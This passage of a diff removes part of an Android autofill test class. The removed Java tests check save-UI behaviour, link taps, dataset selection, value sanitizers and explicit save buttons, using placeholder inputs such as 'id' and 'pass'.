-        final UiObject2 newSaveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
-        mUiBot.saveForAutofill(newSaveUi, true);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
-    }
-
-    @Override
-    protected void cleanUpAfterScreenOrientationIsBackToPortrait() throws Exception {
-        sReplier.getNextFillRequest();
-    }
-
-    @Override
-    protected void tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction action,
-            boolean manualRequest) throws Exception {
-        startActivity();
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> builder
-                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
-
-        // Tap the link.
-        tapSaveUiLink(saveUi);
-
-        // Make sure new activity is shown.
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Tap back to restore the Save UI...
-        mUiBot.pressBack();
-        // Make sure previous activity is back...
-        mUiBot.assertShownByRelativeId(ID_LABEL);
-
-        // ...but don't tap it...
-        final UiObject2 saveUi2 = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // ...instead, do something to dismiss it:
-        switch (action) {
-            case TOUCH_OUTSIDE:
-                mUiBot.assertShownByRelativeId(ID_LABEL).longClick();
-                break;
-            case TAP_NO_ON_SAVE_UI:
-                mUiBot.saveForAutofill(saveUi2, false);
-                break;
-            case TAP_YES_ON_SAVE_UI:
-                mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-                final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-                assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
-                break;
-            default:
-                throw new IllegalArgumentException("invalid action: " + action);
-        }
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Now triggers a new session and do business as usual...
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        if (manualRequest) {
-            mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
-        } else {
-            mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
-        }
-
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("42");
-            mActivity.mCommit.performClick();
-        });
-
-        // Save it...
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
-    }
-
-    @Override
-    protected void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
-            throws Exception {
-        startActivity(false);
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> builder
-                        .setCustomDescription(newCustomDescription(WelcomeActivity.class)))
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
-
-        // Tap the link.
-        tapSaveUiLink(saveUi);
-        // Make sure new activity is shown...
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-
-        switch (type) {
-            case LAUNCH_PREVIOUS_ACTIVITY:
-                startActivityOnNewTask(SimpleSaveActivity.class);
-                break;
-            case LAUNCH_NEW_ACTIVITY:
-                // Launch a 3rd activity...
-                startActivityOnNewTask(LoginActivity.class);
-                mUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
-                // ...then go back
-                mUiBot.pressBack();
-                break;
-            default:
-                throw new IllegalArgumentException("invalid type: " + type);
-        }
-        // Make sure right activity is showing
-        mUiBot.assertShownByRelativeId(ID_INPUT, Timeouts.ACTIVITY_RESURRECTION);
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    @Test
-    @AppModeFull(reason = "Service-specific test")
-    public void testSelectedDatasetsAreSentOnSaveRequest() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
-                // Added on reversed order on purpose
-                .addDataset(new CannedDataset.Builder()
-                        .setId("D2")
-                        .setField(ID_INPUT, "id again")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("D2"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setId("D1")
-                        .setField(ID_INPUT, "id")
-                        .setPresentation(createPresentation("D1"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Select 1st dataset.
-        final FillExpectation autofillExpecation1 = mActivity.expectAutoFill("id");
-        final UiObject2 picker1 = mUiBot.assertDatasets("D2", "D1");
-        mUiBot.selectDataset(picker1, "D1");
-        autofillExpecation1.assertAutoFilled();
-
-        // Select 2nd dataset.
-        mActivity.syncRunOnUiThread(() -> mActivity.mPassword.requestFocus());
-        final FillExpectation autofillExpecation2 = mActivity.expectAutoFill("id again", "pass");
-        final UiObject2 picker2 = mUiBot.assertDatasets("D2");
-        mUiBot.selectDataset(picker2, "D2");
-        autofillExpecation2.assertAutoFilled();
-
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("ID");
-            mActivity.mPassword.setText("PASS");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = mUiBot.assertUpdateShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Save it...
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "ID");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "PASS");
-        assertThat(saveRequest.datasetIds).containsExactly("D1", "D2").inOrder();
-    }
-
-    @Override
-    protected void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
-            throws Exception {
-        // Prepare activity.
-        startActivity();
-        mActivity.mInput.getRootView()
-                .setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS);
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> builder
-                        .setCustomDescription(
-                                newCustomDescription(TrampolineWelcomeActivity.class)))
-                .build());
-
-        // Trigger autofill.
-        mActivity.getAutofillManager().requestAutofill(mActivity.mInput);
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
-
-        // Tap the link.
-        tapSaveUiLink(saveUi);
-
-        // Make sure new activity is shown...
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-
-        // Save UI should be showing as well, since Trampoline finished.
-        mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-
-        // Dismiss Save Dialog
-        mUiBot.pressBack();
-        // Go back and make sure it's showing the right activity.
-        mUiBot.pressBack();
-        mUiBot.assertShownByRelativeId(ID_LABEL);
-
-        // Now start a new session.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PASSWORD)
-                .build());
-        mActivity.getAutofillManager().requestAutofill(mActivity.mPassword);
-        sReplier.getNextFillRequest();
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mPassword.setText("42");
-            mActivity.mCommit.performClick();
-        });
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "42");
-    }
-
-    @Test
-    public void testSanitizeOnSaveWhenAppChangeValues() throws Exception {
-        startActivity();
-
-        // Set listeners that will change the saved value
-        new AntiTrimmerTextWatcher(mActivity.mInput);
-        new AntiTrimmerTextWatcher(mActivity.mPassword);
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
-                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-                    builder.addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId,
-                            passwordId);
-                })
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("id");
-            mActivity.mPassword.setText("pass");
-            mActivity.mCommit.performClick();
-        });
-
-        // Save it...
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "id");
-        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "pass");
-    }
-
-    @Test
-    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
-    public void testSanitizeOnSaveNoChange() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setOptionalSavableIds(ID_PASSWORD)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
-                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-                    builder.addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId,
-                            passwordId);
-                })
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("#id#");
-            mActivity.mPassword.setText("#pass#");
-            mActivity.mCommit.performClick();
-        });
-
-        // Save it...
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "id");
-        assertTextValue(findNodeByResourceId(saveRequest.structure, ID_PASSWORD), "pass");
-    }
-
-    @Test
-    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
-    public void testDontSaveWhenSanitizedValueForRequiredFieldDidntChange() throws Exception {
-        startActivity();
-
-        // Set listeners that will change the saved value
-        new AntiTrimmerTextWatcher(mActivity.mInput);
-        new AntiTrimmerTextWatcher(mActivity.mPassword);
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
-                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-                    builder.addSanitizer(new TextValueSanitizer(TRIMMER_PATTERN, "$1"), inputId,
-                            passwordId);
-                })
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("id");
-            mActivity.mPassword.setText("pass");
-            mActivity.mCommit.performClick();
-        });
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    @Test
-    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
-    public void testDontSaveWhenSanitizedValueForOptionalFieldDidntChange() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setOptionalSavableIds(ID_PASSWORD)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-                    builder.addSanitizer(new TextValueSanitizer(Pattern.compile("(pass) "), "$1"),
-                            passwordId);
-                })
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "pass")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("id");
-            mActivity.mPassword.setText("#pass#");
-            mActivity.mCommit.performClick();
-        });
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    @Test
-    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
-    public void testDontSaveWhenRequiredFieldFailedSanitization() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT, ID_PASSWORD)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
-                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-                    builder.addSanitizer(new TextValueSanitizer(Pattern.compile("dude"), "$1"),
-                            inputId, passwordId);
-                })
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "#id#")
-                        .setField(ID_PASSWORD, "#pass#")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("id");
-            mActivity.mPassword.setText("pass");
-            mActivity.mCommit.performClick();
-        });
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    @Test
-    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
-    public void testDontSaveWhenOptionalFieldFailedSanitization() throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setOptionalSavableIds(ID_PASSWORD)
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    final AutofillId inputId = findAutofillIdByResourceId(context, ID_INPUT);
-                    final AutofillId passwordId = findAutofillIdByResourceId(context, ID_PASSWORD);
-                    builder.addSanitizer(new TextValueSanitizer(Pattern.compile("dude"), "$1"),
-                            inputId, passwordId);
-
-                })
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "id")
-                        .setField(ID_PASSWORD, "#pass#")
-                        .setPresentation(createPresentation("YO"))
-                        .build())
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("id");
-            mActivity.mPassword.setText("pass");
-            mActivity.mCommit.performClick();
-        });
-
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    @Test
-    @AppModeFull(reason = "testSanitizeOnSaveWhenAppChangeValues() is enough")
-    public void testDontSaveWhenInitialValueAndNoUserInputAndServiceDatasets() throws Throwable {
-        // Prepare activitiy.
-        startActivity();
-        mActivity.syncRunOnUiThread(() -> {
-            // NOTE: input's value must be a subset of the dataset value, otherwise the dataset
-            // picker is filtered out
-            mActivity.mInput.setText("f");
-            mActivity.mPassword.setText("b");
-        });
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_INPUT, "foo")
-                        .setField(ID_PASSWORD, "bar")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_INPUT, ID_PASSWORD).build());
-
-        // Trigger auto-fill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-        mUiBot.assertDatasets("The Dude");
-
-        // Trigger save.
-        mActivity.getAutofillManager().commit();
-
-        // Assert it's not showing.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    enum SetTextCondition {
-        NORMAL,
-        HAS_SESSION,
-        EMPTY_TEXT,
-        FOCUSED,
-        NOT_IMPORTANT_FOR_AUTOFILL,
-        INVISIBLE
-    }
-
-    /**
-     * Tests scenario when a text field's text is set automatically, it should trigger autofill and
-     * show Save UI.
-     */
-    @Test
-    public void testShowSaveUiWhenSetTextAutomatically() throws Exception {
-        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.NORMAL);
-    }
-
-    /**
-     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
-     * when there is an existing session.
-     */
-    @Test
-    public void testNotTriggerAutofillWhenSetTextWhileSessionExists() throws Exception {
-        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.HAS_SESSION);
-    }
-
-    /**
-     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
-     * when the text is empty.
-     */
-    @Test
-    public void testNotTriggerAutofillWhenSetTextWhileEmptyText() throws Exception {
-        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.EMPTY_TEXT);
-    }
-
-    /**
-     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
-     * when the field is focused.
-     */
-    @Test
-    public void testNotTriggerAutofillWhenSetTextWhileFocused() throws Exception {
-        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.FOCUSED);
-    }
-
-    /**
-     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
-     * when the field is not important for autofill.
-     */
-    @Test
-    public void testNotTriggerAutofillWhenSetTextWhileNotImportantForAutofill() throws Exception {
-        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.NOT_IMPORTANT_FOR_AUTOFILL);
-    }
-
-    /**
-     * Tests scenario when a text field's text is set automatically, it should not trigger autofill
-     * when the field is not visible.
-     */
-    @Test
-    public void testNotTriggerAutofillWhenSetTextWhileInvisible() throws Exception {
-        triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition.INVISIBLE);
-    }
-
-    private void triggerAutofillWhenSetTextAutomaticallyTest(SetTextCondition condition)
-            throws Exception {
-        startActivity();
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        CharSequence inputText = "108";
-
-        switch (condition) {
-            case NORMAL:
-                // Nothing.
-                break;
-            case HAS_SESSION:
-                mActivity.syncRunOnUiThread(() -> {
-                    mActivity.mInput.setText("100");
-                });
-                sReplier.getNextFillRequest();
-                break;
-            case EMPTY_TEXT:
-                inputText = "";
-                break;
-            case FOCUSED:
-                mActivity.syncRunOnUiThread(() -> {
-                    mActivity.mInput.requestFocus();
-                });
-                sReplier.getNextFillRequest();
-                break;
-            case NOT_IMPORTANT_FOR_AUTOFILL:
-                mActivity.syncRunOnUiThread(() -> {
-                    mActivity.mInput.setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO);
-                });
-                break;
-            case INVISIBLE:
-                mActivity.syncRunOnUiThread(() -> {
-                    mActivity.mInput.setVisibility(View.INVISIBLE);
-                });
-                break;
-            default:
-                throw new IllegalArgumentException("invalid condition: " + condition);
-        }
-
-        // Trigger autofill by setting text.
-        final CharSequence text = inputText;
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText(text);
-        });
-
-        if (condition == SetTextCondition.NORMAL) {
-            sReplier.getNextFillRequest();
-
-            mActivity.syncRunOnUiThread(() -> {
-                mActivity.mInput.setText("100");
-                mActivity.mCommit.performClick();
-            });
-
-            mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-        } else {
-            sReplier.assertOnFillRequestNotCalled();
-        }
-    }
-
-    @Test
-    public void testExplicitlySaveButton() throws Exception {
-        explicitlySaveButtonTest(false, 0);
-    }
-
-    @Test
-    public void testExplicitlySaveButtonWhenAppClearFields() throws Exception {
-        explicitlySaveButtonTest(true, 0);
-    }
-
-    @Test
-    public void testExplicitlySaveButtonOnly() throws Exception {
-        explicitlySaveButtonTest(false, SaveInfo.FLAG_DONT_SAVE_ON_FINISH);
-    }
-
-    /**
-     * Tests scenario where service explicitly indicates which button is used to save.
-     */
-    private void explicitlySaveButtonTest(boolean clearFieldsOnSubmit, int flags) throws Exception {
-        final boolean testBitmap = false;
-        startActivity();
-        mActivity.setAutoCommit(false);
-        mActivity.setClearFieldsOnSubmit(clearFieldsOnSubmit);
-
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .setSaveTriggerId(mActivity.mCommit.getAutofillId())
-                .setSaveInfoFlags(flags)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.setText("108"));
-
-        // Take a screenshot to make sure button doesn't disappear.
-        final String commitBefore = mUiBot.assertShownByRelativeId(ID_COMMIT).getText();
-        assertThat(commitBefore.toUpperCase()).isEqualTo("COMMIT");
-        // Disable unnecessary screenshot tests as takeScreenshot() fails on some device.
-
-        final Bitmap screenshotBefore = testBitmap ? mActivity.takeScreenshot(mActivity.mCommit)
-                : null;
-
-        // Save it...
-        mActivity.syncRunOnUiThread(() -> mActivity.mCommit.performClick());
-        final UiObject2 saveUi = mUiBot.assertSaveShowing(SAVE_DATA_TYPE_GENERIC);
-        mUiBot.saveForAutofill(saveUi, true);
-
-        // Make sure save button is showning (it was removed on earlier versions of the feature)
-        final String commitAfter = mUiBot.assertShownByRelativeId(ID_COMMIT).getText();
-        assertThat(commitAfter.toUpperCase()).isEqualTo("COMMIT");
-        final Bitmap screenshotAfter = testBitmap ? mActivity.takeScreenshot(mActivity.mCommit)
-                : null;
-
-        // ... and assert results
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "108");
-
-        if (testBitmap) {
-            Helper.assertBitmapsAreSame("commit-button", screenshotBefore, screenshotAfter);
-        }
-    }
-
-    @Override
-    protected void tapLinkAfterUpdateAppliedTest(boolean updateLinkView) throws Exception {
-        startActivity();
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setSaveInfoVisitor((contexts, builder) -> {
-                    // Set response with custom description
-                    final AutofillId id = findAutofillIdByResourceId(contexts.get(0), ID_INPUT);
-                    final CustomDescription.Builder customDescription =
-                            newCustomDescriptionBuilder(WelcomeActivity.class);
-                    final RemoteViews update = newTemplate();
-                    if (updateLinkView) {
-                        update.setCharSequence(R.id.link, "setText", "TAP ME IF YOU CAN");
-                    } else {
-                        update.setCharSequence(R.id.static_text, "setText", "ME!");
-                    }
-                    Validator validCondition = new RegexValidator(id, Pattern.compile(".*"));
-                    customDescription.batchUpdate(validCondition,
-                            new BatchUpdates.Builder().updateTemplate(update).build());
-
-                    builder.setCustomDescription(customDescription.build());
-                })
-                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_INPUT)
-                .build());
-
-        // Trigger autofill.
-        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
-        sReplier.getNextFillRequest();
-        // Trigger save.
-        mActivity.syncRunOnUiThread(() -> {
-            mActivity.mInput.setText("108");
-            mActivity.mCommit.performClick();
-        });
-        final UiObject2 saveUi;
-        if (updateLinkView) {
-            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC, "TAP ME IF YOU CAN");
-        } else {
-            saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_GENERIC);
-            final UiObject2 changed = saveUi.findObject(By.res(mPackageName, ID_STATIC_TEXT));
-            assertThat(changed.getText()).isEqualTo("ME!");
-        }
-
-        // Tap the link.
-        tapSaveUiLink(saveUi);
-
-        // Make sure new activity is shown...
-        WelcomeActivity.assertShowingDefaultMessage(mUiBot);
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    enum DescriptionType {
-        SUCCINCT,
-        CUSTOM,
-    }
-
-    /**
-     * Tests scenarios when user taps a span in the custom description, then the new activity
-     * finishes:
-     * the Save UI should have been restored.
-     */
-    @Test
-    @AppModeFull(reason = "No real use case for instant mode af service")
-    public void testTapUrlSpanOnCustomDescription_thenTapBack() throws Exception {
-        saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
-                ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
-    }
-
-    /**
-     * Tests scenarios when user taps a span in the succinct description, then the new activity
-     * finishes:
-     * the Save UI should have been restored.
-     */
-    @Test
-    @AppModeFull(reason = "No real use case for instant mode af service")
-    public void testTapUrlSpanOnSuccinctDescription_thenTapBack() throws Exception {
-        saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
-                ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
-    }
-
-    /**
-     * Tests scenarios when user taps a span in the custom description, then the new activity
-     * starts an another activity then it finishes:
-     * the Save UI should have been restored.
-     */
-    @Test
-    @AppModeFull(reason = "No real use case for instant mode af service")
-    public void testTapUrlSpanOnCustomDescription_forwardAnotherActivityThenTapBack()
-            throws Exception {
-        saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
-                ViewActionActivity.ActivityCustomAction.FAST_FORWARD_ANOTHER_ACTIVITY);
-    }
-
-    /**
-     * Tests scenarios when user taps a span in the succinct description, then the new activity
-     * starts an another activity then it finishes:
-     * the Save UI should have been restored.
-     */
-    @Test
-    @AppModeFull(reason = "No real use case for instant mode af service")
-    public void testTapUrlSpanOnSuccinctDescription_forwardAnotherActivityThenTapBack()
-            throws Exception {
-        saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
-                ViewActionActivity.ActivityCustomAction.FAST_FORWARD_ANOTHER_ACTIVITY);
-    }
-
-    /**
-     * Tests scenarios when user taps a span in the custom description, then the new activity
-     * stops but does not finish:
-     * the Save UI should have been restored.
-     */
-    @Test
-    @AppModeFull(reason = "No real use case for instant mode af service")
-    public void testTapUrlSpanOnCustomDescription_tapBackWithoutFinish() throws Exception {
-        saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
-                ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
-    }
-
-    /**
-     * Tests scenarios when user taps a span in the succinct description, then the new activity
-     * stops but does not finish:
